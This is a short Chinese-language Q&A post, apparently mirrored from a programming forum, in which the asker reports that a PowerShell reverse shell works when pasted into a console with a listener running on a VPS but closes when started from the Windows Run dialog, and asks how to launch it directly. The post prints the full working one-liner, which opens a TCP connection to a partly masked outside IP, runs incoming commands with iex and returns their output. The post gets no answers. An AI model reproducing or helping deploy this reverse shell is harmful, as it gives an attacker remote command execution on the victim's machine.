Powershell命令从powershell运行,但不会从Run

时间:2018-12-10 09:38:46

标签: powershell

我发现了Powershell的反向外壳,当我手动粘贴到打开的Powershell窗口中以及在VPS上打开侦听器时,但是当我尝试通过放置运行它时,

 powershell.exe $sm=(New-Object Net.Sockets.TCPClient("45.77.XXX.XXX",5938)).GetStream();[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

它将自动关闭,而无需重新连接并保持窗口打开。我什至当我放-NoExit开关但给出错误时。

如何直接运行它?

0 个答案:

没有答案